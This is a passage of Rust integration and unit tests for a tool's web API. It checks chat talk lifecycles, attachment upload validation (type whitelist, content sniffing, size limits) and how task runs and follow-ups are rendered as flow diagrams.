15992                format!("/api/talks/{id}/pending/clear"),
15993                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15994            ),
15995            (
15996                format!("/api/talks/{id}/pending/edit"),
15997                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15998            ),
15999            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16000        ] {
16001            let response = f.post(&path, body).await;
16002            assert_eq!(response.status, 409, "{}", response.body);
16003        }
16004        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16005            .expect("serialize closed talk");
16006        assert_eq!(
16007            after_clear, before_clear,
16008            "clear must not rewrite a closed talk"
16009        );
16010    }
16011
16012    /// Keeps both claims observable long enough to exercise the distinction
16013    /// between one busy talk and a globally locked Chat surface.
16014    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16015
16016    #[tokio::test]
16017    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16018        let tmp = TempDir::new().expect("tempdir");
16019        let repo = tmp.path().join("repo");
16020        std::fs::create_dir_all(&repo).expect("repo dir");
16021        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16022        let f = Fixture::with_repo(repo).await;
16023        let id_a = f.post("/api/talks", None).await.json()["id"]
16024            .as_str()
16025            .unwrap()
16026            .to_owned();
16027        let id_b = f.post("/api/talks", None).await.json()["id"]
16028            .as_str()
16029            .unwrap()
16030            .to_owned();
16031
16032        let a = f
16033            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16034            .await;
16035        assert_eq!(a.status, 202, "{}", a.body);
16036        assert_eq!(a.json()["thinking"], true);
16037        let b = f
16038            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16039            .await;
16040        assert_eq!(b.status, 202, "{}", b.body);
16041        assert_eq!(b.json()["thinking"], true);
16042
16043        let listed = f.get("/api/talks").await.json();
16044        for id in [&id_a, &id_b] {
16045            let view = listed
16046                .as_array()
16047                .unwrap()
16048                .iter()
16049                .find(|talk| talk["id"] == *id)
16050                .unwrap();
16051            assert_eq!(view["thinking"], true, "{listed}");
16052        }
16053        let repeated = f
16054            .post(
16055                &format!("/api/talks/{id_a}/say"),
16056                Some(r#"{"text":"again"}"#),
16057            )
16058            .await;
16059        assert_eq!(repeated.status, 202, "{}", repeated.body);
16060        assert_eq!(repeated.json()["pending"], "again");
16061    }
16062
16063    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16064    /// few more, since real uploads are never exactly eight bytes.
16065    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16066
16067    #[tokio::test]
16068    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16069        let f = Fixture::start().await;
16070        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16071
16072        let res = f
16073            .post_bytes(
16074                &format!("/api/talks/{id}/attachments"),
16075                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16076                PNG_BYTES,
16077            )
16078            .await;
16079        assert_eq!(res.status, 201, "{}", res.body);
16080        let body = res.json();
16081        assert_eq!(body["name"], "shot.png");
16082        assert_eq!(body["mime"], "image/png");
16083        assert_eq!(body["bytes"], PNG_BYTES.len());
16084        let att_id = body["id"].as_str().expect("id").to_owned();
16085        assert_eq!(
16086            att_id.len(),
16087            32,
16088            "the id must never be a client-suppliable path: {att_id}"
16089        );
16090
16091        let got = f
16092            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16093            .await;
16094        assert_eq!(got.status, 200, "{}", got.body);
16095        assert_eq!(got.header("content-type"), Some("image/png"));
16096        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16097        assert_eq!(got.bytes, PNG_BYTES);
16098    }
16099
16100    #[tokio::test]
16101    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16102        let f = Fixture::start().await;
16103        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16104
16105        // SVG can carry a `<script>`, so it is never on the whitelist even
16106        // though it is a real IANA image type.
16107        let svg = f
16108            .post_bytes(
16109                &format!("/api/talks/{id}/attachments"),
16110                &[("Content-Type", "image/svg+xml")],
16111                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16112            )
16113            .await;
16114        assert!(
16115            (400..500).contains(&svg.status),
16116            "svg must be refused: {} {}",
16117            svg.status,
16118            svg.body
16119        );
16120        assert!(svg.body.contains("SVG"), "{}", svg.body);
16121
16122        let text = f
16123            .post_bytes(
16124                &format!("/api/talks/{id}/attachments"),
16125                &[("Content-Type", "text/plain")],
16126                b"just some text",
16127            )
16128            .await;
16129        assert!(
16130            (400..500).contains(&text.status),
16131            "an unlisted type must be refused: {} {}",
16132            text.status,
16133            text.body
16134        );
16135
16136        // The declared type is a real png, but the size check runs before
16137        // the bytes are even looked at.
16138        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16139        let big = f
16140            .post_bytes(
16141                &format!("/api/talks/{id}/attachments"),
16142                &[("Content-Type", "image/png")],
16143                &oversized,
16144            )
16145            .await;
16146        assert_eq!(
16147            big.status,
16148            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16149            "{}",
16150            big.body
16151        );
16152    }
16153
16154    #[tokio::test]
16155    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16156        let f = Fixture::start().await;
16157        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16158
16159        // A whitelisted `Content-Type`, but bytes that are not actually a
16160        // png - the declared header alone is never trusted.
16161        let res = f
16162            .post_bytes(
16163                &format!("/api/talks/{id}/attachments"),
16164                &[("Content-Type", "image/png")],
16165                b"<html>not a picture</html>",
16166            )
16167            .await;
16168        assert!((400..500).contains(&res.status), "{}", res.body);
16169    }
16170
16171    #[tokio::test]
16172    async fn an_unknown_attachment_id_is_a_404() {
16173        let f = Fixture::start().await;
16174        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16175
16176        let res = f
16177            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16178            .await;
16179        assert_eq!(res.status, 404, "{}", res.body);
16180    }
16181
16182    #[tokio::test]
16183    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16184        let f = Fixture::start().await;
16185        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16186
16187        let uploaded = f
16188            .post_bytes(
16189                &format!("/api/talks/{id}/attachments"),
16190                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16191                PNG_BYTES,
16192            )
16193            .await;
16194        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16195        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16196
16197        let res = f
16198            .post(
16199                &format!("/api/talks/{id}/say"),
16200                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16201            )
16202            .await;
16203        assert_eq!(res.status, 202, "{}", res.body);
16204        let queued = res.json();
16205        let turns = queued["turns"].as_array().expect("turns array");
16206        assert_eq!(
16207            turns.len(),
16208            1,
16209            "an empty body with an attachment is still a turn: {queued}"
16210        );
16211        assert_eq!(turns[0]["who"], "operator");
16212        assert_eq!(turns[0]["body"], "");
16213        let atts = turns[0]["attachments"]
16214            .as_array()
16215            .expect("attachments array");
16216        assert_eq!(atts.len(), 1);
16217        assert_eq!(atts[0]["id"], att_id);
16218        assert_eq!(atts[0]["mime"], "image/png");
16219
16220        // Not only in the response: `record` flushes to disk before the
16221        // agent's own turn is even spawned.
16222        let on_disk = f.talks().get(&id).expect("get");
16223        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16224        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16225    }
16226
16227    #[tokio::test]
16228    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16229        let f = Fixture::start().await;
16230        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16231
16232        let res = f
16233            .post(
16234                &format!("/api/talks/{id}/say"),
16235                Some(&format!(
16236                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16237                    "a".repeat(32)
16238                )),
16239            )
16240            .await;
16241        assert!((400..500).contains(&res.status), "{}", res.body);
16242        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16243
16244        let on_disk = f.talks().get(&id).expect("get");
16245        assert!(
16246            on_disk.turns.is_empty(),
16247            "a rejected attachment id must not partially record the turn: {:?}",
16248            on_disk.turns
16249        );
16250    }
16251
16252    #[tokio::test]
16253    async fn talk_close_makes_the_talk_refuse_further_turns() {
16254        let f = Fixture::start().await;
16255        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16256
16257        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16258        assert_eq!(closed.status, 200, "{}", closed.body);
16259        assert_eq!(closed.json()["status"], "closed");
16260
16261        // Idempotent: closing an already-closed talk is not an error.
16262        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16263        assert_eq!(closed_again.status, 200);
16264        assert_eq!(closed_again.json()["status"], "closed");
16265
16266        let said = f
16267            .post(
16268                &format!("/api/talks/{id}/say"),
16269                Some(r#"{"text":"too late"}"#),
16270            )
16271            .await;
16272        assert_eq!(said.status, 409, "{}", said.body);
16273    }
16274
16275    #[tokio::test]
16276    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16277        let (_tmp, _repo, f) = talk_fixture().await;
16278        let id = f.post("/api/talks", None).await.json()["id"]
16279            .as_str()
16280            .expect("id")
16281            .to_owned();
16282        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16283        assert_eq!(closed.status, 200, "{}", closed.body);
16284
16285        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16286        assert_eq!(reopened.status, 200, "{}", reopened.body);
16287        assert_eq!(reopened.json()["status"], "open");
16288
16289        // Idempotent: reopening an already-open talk is not an error.
16290        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16291        assert_eq!(reopened_again.status, 200);
16292        assert_eq!(reopened_again.json()["status"], "open");
16293
16294        let said = f
16295            .post(
16296                &format!("/api/talks/{id}/say"),
16297                Some(r#"{"text":"still there?"}"#),
16298            )
16299            .await;
16300        assert_eq!(
16301            said.status, 202,
16302            "a reopened talk accepts turns again: {}",
16303            said.body
16304        );
16305    }
16306
16307    #[tokio::test]
16308    async fn talk_reopen_on_an_unknown_id_is_404() {
16309        let f = Fixture::start().await;
16310        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16311        assert_eq!(res.status, 404, "{}", res.body);
16312    }
16313
16314    #[tokio::test]
16315    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16316        let f = Fixture::start().await;
16317        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16318
16319        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16320        assert_eq!(deleted.status, 204, "{}", deleted.body);
16321
16322        let after = f.get(&format!("/api/talks/{id}")).await;
16323        assert_eq!(after.status, 404, "{}", after.body);
16324
16325        let listed = f.get("/api/talks").await.json();
16326        assert!(
16327            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16328            "a deleted talk must not linger in the list: {listed}"
16329        );
16330    }
16331
16332    #[tokio::test]
16333    async fn talk_delete_on_an_unknown_id_is_404() {
16334        let f = Fixture::start().await;
16335        let res = f.delete("/api/talks/nonexistent-id").await;
16336        assert_eq!(res.status, 404, "{}", res.body);
16337    }
16338
16339    /// A task's page lists every run it ever had, in order, and says what kind
16340    /// of attempt each was - including a resume, which re-pushes the same run
16341    /// id, and a run whose record this build cannot read.
16342    #[tokio::test]
16343    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16344        let f = Fixture::start().await;
16345        let (a, b, gone) = (
16346            "20260902-140501-aaaa",
16347            "20260902-140502-bbbb",
16348            "20260902-140503-cccc",
16349        );
16350        write_run(&f.runs(), a, RunStatus::Stalled);
16351        let mut review = RunState::new(
16352            PathBuf::from("/repo/magi"),
16353            "main".to_owned(),
16354            "0123456789abcdef".to_owned(),
16355            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16356                .to_owned(),
16357            Config::default(),
16358        );
16359        review.id = b.to_owned();
16360        review.status = RunStatus::Merged;
16361        write_state(&f.runs(), &review);
16362
16363        let mut task = Task::new(
16364            "retry".to_owned(),
16365            "Do the thing".to_owned(),
16366            PathBuf::from("/repo/magi"),
16367            Source::Human,
16368        );
16369        task.start(a.to_owned());
16370        task.stall("quota");
16371        task.start(a.to_owned());
16372        task.start(b.to_owned());
16373        task.start(gone.to_owned());
16374        // This fixture models an older queue file with repeated run entries.
16375        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16376        f.queue().put(&mut task).expect("file the task");
16377
16378        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16379        assert_eq!(res.status, 200, "{}", res.body);
16380        let v = res.json();
16381        let h = v["history"].as_array().expect("history");
16382        assert_eq!(h.len(), 4, "{v}");
16383        assert_eq!(h[0]["kind"], "competition");
16384        assert_eq!(h[0]["status"], "stalled");
16385        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16386        assert_eq!(h[1]["kind"], "resume", "{v}");
16387        assert!(
16388            h[0]["outcome"]
16389                .as_str()
16390                .unwrap()
16391                .contains("unknown. Pass #2"),
16392            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16393        );
16394        assert!(
16395            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16396            "{v}"
16397        );
16398        assert!(
16399            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16400            "an unrecorded cause must not be narrated as an operator park: {v}"
16401        );
16402        assert_eq!(h[2]["kind"], "review");
16403        assert!(
16404            h[2]["description"]
16405                .as_str()
16406                .unwrap()
16407                .contains("magi/aaaa/A")
16408        );
16409        assert_eq!(h[2]["status"], "merged");
16410        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16411        assert_eq!(v["runs_unreadable"], 1);
16412        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16413        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16414        assert_eq!(nodes[4]["note"], "unreadable");
16415        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16416        assert_eq!(v["instruction"], "Do the thing");
16417        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16418
16419        // The run's own page links back to the task.
16420        let run = f.get(&format!("/api/runs/{a}")).await.json();
16421        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16422
16423        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16424    }
16425
16426    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16427        let mut s = RunState::new(
16428            PathBuf::from("/repo/magi"),
16429            "main".to_owned(),
16430            "0123456789abcdef".to_owned(),
16431            "Do it".to_owned(),
16432            Config::default(),
16433        );
16434        s.status = status;
16435        edit(&mut s);
16436        s
16437    }
16438
16439    fn flow_task(runs: &[&str]) -> Task {
16440        let mut t = Task::new(
16441            "t".to_owned(),
16442            "Do it".to_owned(),
16443            PathBuf::from("/repo/magi"),
16444            Source::Human,
16445        );
16446        for r in runs {
16447            t.start((*r).to_owned());
16448        }
16449        // Synthetic flows without RunPass records model legacy queue data.
16450        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16451        t
16452    }
16453
16454    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16455        let h = task_history(task, |id| {
16456            states
16457                .iter()
16458                .find(|(i, _)| *i == id)
16459                .and_then(|(_, s)| s.clone())
16460        });
16461        task_flow(task, &h, 5, None)
16462    }
16463
16464    #[test]
16465    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16466        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16467        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16468        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16469        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16470        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16471        let run = flow_run(RunStatus::Implementing, |s| {
16472            s.created_at = created;
16473            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16474            s.passes[0].started_at = first;
16475            s.passes[1].started_at = resumed;
16476        });
16477        let mut task = flow_task(&[RUN_X, RUN_X]);
16478        task.created_at = queued;
16479        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16480        task.status = TaskStatus::Held;
16481        task.held_at = Some(held);
16482        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16483        assert_eq!(
16484            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16485            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16486        );
16487        assert!(flow.nodes.iter().all(|n| n.time_expected));
16488        let json = serde_json::to_value(&flow).unwrap();
16489        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16490        assert_eq!(json["nodes"][2]["time_expected"], true);
16491    }
16492
16493    #[test]
16494    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16495        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16496        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16497        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16498        // These timestamps are not the start of the current status.
16499        task.held_at = Some(created);
16500        task.blocked_at = Some(created);
16501        for status in [
16502            TaskStatus::Queued,
16503            TaskStatus::Running,
16504            TaskStatus::Blocked,
16505            TaskStatus::Done,
16506            TaskStatus::Failed,
16507            TaskStatus::Parked,
16508            TaskStatus::Held,
16509        ] {
16510            task.status = status;
16511            if status == TaskStatus::Held {
16512                task.held_at = None;
16513            }
16514            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16515            assert_eq!(flow.nodes[1].started_at, Some(created));
16516            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16517            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16518            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16519            let json = serde_json::to_value(&flow).unwrap();
16520            assert!(json["nodes"][3]["started_at"].is_null());
16521            assert_eq!(json["nodes"][3]["time_expected"], true);
16522        }
16523    }
16524
16525    #[test]
16526    fn flow_context_links_do_not_expect_start_times() {
16527        let mut task = flow_task(&[]);
16528        task.source = Source::Agent {
16529            run: "chat-id".to_owned(),
16530            node: "chat".to_owned(),
16531        };
16532        let origin = followup_origin(&fu(None), |_| None, |_| None);
16533        let flow = task_flow(&task, &[], 5, Some(&origin));
16534        for node in &flow.nodes[..2] {
16535            assert!(!node.time_expected);
16536            assert_eq!(node.started_at, None);
16537        }
16538        assert!(flow.nodes[2].time_expected);
16539    }
16540
16541    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16542        crate::queue::FollowUp {
16543            run: "20260901-000000-aaaa".to_owned(),
16544            origin_task: origin_task.map(str::to_owned),
16545            pr: "https://example.com/o/r/pull/1".to_owned(),
16546            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16547                .map(str::to_owned)
16548                .to_vec(),
16549            generation: 1,
16550        }
16551    }
16552
16553    fn parent_task() -> Task {
16554        let mut p = flow_task(&[]);
16555        p.title = "Parent title".to_owned();
16556        p.status = TaskStatus::Done;
16557        p
16558    }
16559
16560    #[test]
16561    fn flow_opens_with_the_parent_task_of_a_followup() {
16562        let p = parent_task();
16563        let pid = p.id.clone();
16564        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16565        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16566        let n = &f.nodes[0];
16567        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16568        assert_eq!(
16569            n.label,
16570            format!("Follow-up of {}", crate::queue::short(&pid))
16571        );
16572        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16573        assert_eq!(n.status, Some("done"));
16574        assert_eq!(n.status_of, "task");
16575        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16576        assert_eq!(f.nodes[1].key, "start");
16577        assert_eq!(f.edges[0].from, "origin");
16578        assert_eq!(
16579            f.edges[0].label,
16580            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16581        );
16582    }
16583
16584    #[test]
16585    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16586        let o = followup_origin(
16587            &fu(Some("gone")),
16588            |_| None,
16589            |_| {
16590                Some(RunState::new(
16591                    std::path::PathBuf::from("."),
16592                    "main".to_owned(),
16593                    "0".to_owned(),
16594                    "t".to_owned(),
16595                    crate::config::Config::default(),
16596                ))
16597            },
16598        );
16599        assert!(o.parent.is_none());
16600        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16601        let n = &f.nodes[0];
16602        assert_eq!(n.status_of, "run");
16603        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16604        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16605    }
16606
16607    #[test]
16608    fn flow_followup_with_nothing_readable_has_no_link() {
16609        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16610        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16611        let n = &f.nodes[0];
16612        assert_eq!(n.href, None);
16613        assert_eq!(n.note, Some("unreadable"));
16614        assert!(!n.readable);
16615    }
16616
16617    #[test]
16618    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16619        let o = followup_origin(&fu(None), |_| None, |_| None);
16620        let mut t = flow_task(&[]);
16621        t.origin_chat = Some("c1".to_owned());
16622        let f = task_flow(&t, &[], 5, Some(&o));
16623        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16624        t.source = Source::Agent {
16625            run: "c1".to_owned(),
16626            node: crate::queue::CHAT_NODE.to_owned(),
16627        };
16628        let f = task_flow(&t, &[], 5, Some(&o));
16629        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16630        assert_eq!(
16631            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16632            ("chat", "origin")
16633        );
16634    }
16635
16636    #[test]
16637    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16638        let mut p = parent_task();
16639        p.id = "a b/c".to_owned();
16640        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16641        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16642    }
16643
16644    #[test]
16645    fn flow_opens_with_the_chat_that_queued_the_task() {
16646        let mut t = flow_task(&[]);
16647        t.source = Source::Agent {
16648            run: "a b/c".to_owned(),
16649            node: crate::queue::CHAT_NODE.to_owned(),
16650        };
16651        let f = flow_for(&t, &[]);
16652        assert_eq!(f.nodes[0].key, "chat");
16653        assert_eq!(f.nodes[0].kind, "chat");
16654        assert_eq!(
16655            f.nodes[0].label,
16656            format!("Chat {}", crate::queue::short("a b/c"))
16657        );
16658        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16659        assert_eq!(f.nodes[1].key, "start");
16660        assert_eq!(
16661            f.edges[0],
16662            FlowEdge {
16663                from: "chat".to_owned(),
16664                to: "start".to_owned(),
16665                label: "queued from chat".to_owned(),
16666                attempt: AttemptCost::None,
16667            }
16668        );
16669    }
16670
16671    #[test]
16672    fn flow_has_no_chat_box_for_other_sources() {
16673        for source in [
16674            Source::Human,
16675            Source::Issue {
16676                number: 3,
16677                repo: "o/r".to_owned(),
16678            },
16679            Source::Agent {
16680                run: "20260904-014455-ab12".to_owned(),
16681                node: "implement".to_owned(),
16682            },
16683        ] {
16684            let mut t = flow_task(&[]);
16685            t.source = source;
16686            let f = flow_for(&t, &[]);
16687            assert_eq!(f.nodes[0].key, "start");
16688            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16689            assert!(f.edges.iter().all(|e| e.from != "chat"));
16690        }
16691    }
16692
16693    const FA: &str = "20260902-140501-aaaa";
16694    const FB: &str = "20260902-140502-bbbb";
16695
16696    #[test]
16697    fn flow_follows_blocked_retry_merged_to_done() {
16698        let mut t = flow_task(&[FA, FB]);
16699        t.status = TaskStatus::Done;
16700        let f = flow_for(
16701            &t,
16702            &[
16703                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16704                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16705            ],
16706        );
16707        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16708        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16709        assert_eq!(f.edges.len(), 3);
16710        assert_eq!(f.edges[0].label, "claimed");
16711        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16712        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16713        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16714        assert_eq!(
16715            f.nodes[2].href.as_deref(),
16716            Some("#/runs/20260902-140502-bbbb")
16717        );
16718        assert!(f.nodes[2].decided);
16719    }
16720
16721    #[test]
16722    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16723        let quota = || {
16724            flow_run(RunStatus::Stalled, |s| {
16725                s.quota.push(crate::run::QuotaLoss {
16726                    cause: crate::agent::QuotaCause::UsageLimit,
16727                    agent: String::new(),
16728                    seat: "judge-1".to_owned(),
16729                    node: "judge".to_owned(),
16730                    at: Timestamp::now(),
16731                    reset: None,
16732                })
16733            })
16734        };
16735        let mut t = flow_task(&[FA, FA]);
16736        t.status = TaskStatus::Queued;
16737        let f = flow_for(&t, &[(FA, Some(quota()))]);
16738        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16739        assert_eq!(f.nodes[1].note, Some("interrupted"));
16740        assert_eq!(
16741            f.nodes[1].status, None,
16742            "no outcome copied onto an earlier pass"
16743        );
16744        assert_eq!(
16745            f.edges[1].attempt,
16746            AttemptCost::Unknown,
16747            "a resume does not prove the earlier pass was refunded"
16748        );
16749        assert!(f.edges[1].label.contains("resume the same run"));
16750        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16751        assert_eq!(
16752            f.edges[2].label,
16753            "stalled after a resume, refund unknown \u{2192} queued"
16754        );
16755        assert!(!f.nodes[2].decided, "a stall is not a decision");
16756        assert_eq!(f.nodes[2].note, Some("no verdict"));
16757    }
16758
16759    #[test]
16760    fn flow_single_pass_quota_stall_is_refunded() {
16761        let t = flow_task(&[FA]);
16762        let f = flow_for(
16763            &t,
16764            &[(
16765                FA,
16766                Some(flow_run(RunStatus::Stalled, |s| {
16767                    s.quota.push(crate::run::QuotaLoss {
16768                        cause: crate::agent::QuotaCause::UsageLimit,
16769                        agent: String::new(),
16770                        seat: "judge-1".to_owned(),
16771                        node: "judge".to_owned(),
16772                        at: Timestamp::now(),
16773                        reset: None,
16774                    })
16775                })),
16776            )],
16777        );
16778        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16779    }
16780
16781    #[test]
16782    fn flow_parked_refunds_and_stall_without_quota_spends() {
16783        let mut t = flow_task(&[FA]);
16784        t.status = TaskStatus::Queued;
16785        let f = flow_for(
16786            &t,
16787            &[(
16788                FA,
16789                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16790            )],
16791        );
16792        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16793        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16794        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16795        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16796        assert!(!f.nodes[1].decided);
16797    }
16798
16799    #[test]
16800    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16801        let t = flow_task(&[FA, FB]);
16802        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16803        assert_eq!(f.nodes[1].note, Some("unreadable"));
16804        assert!(!f.nodes[1].readable);
16805        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16806        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16807    }
16808
16809    #[test]
16810    fn flow_names_the_branch_of_a_review_only_run() {
16811        let t = flow_task(&[FA]);
16812        let f = flow_for(
16813            &t,
16814            &[(
16815                FA,
16816                Some(flow_run(RunStatus::Merged, |s| {
16817                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16818                })),
16819            )],
16820        );
16821        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16822        assert_eq!(
16823            f.nodes[1].detail.as_deref(),
16824            Some("review-only run of branch magi/x/A")
16825        );
16826    }
16827
16828    #[test]
16829    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16830        let mut t = flow_task(&[FA]);
16831        t.status = TaskStatus::Held;
16832        let pr = crate::run::PrRecord {
16833            url: "https://example.test/pr/1".to_owned(),
16834            number: 1,
16835            state: "open".to_owned(),
16836            checks: "green".to_owned(),
16837            round: 0,
16838            rounds: 3,
16839            red_at_merge: Vec::new(),
16840        };
16841        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16842        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16843        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16844        t.status = TaskStatus::Done;
16845        let f = flow_for(&t, &[(FA, Some(blocked))]);
16846        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16847    }
16848
16849    #[test]
16850    fn flow_with_no_runs_goes_from_queued_to_queued() {
16851        let t = flow_task(&[]);
16852        let f = flow_for(&t, &[]);
16853        assert_eq!(f.nodes.len(), 2);
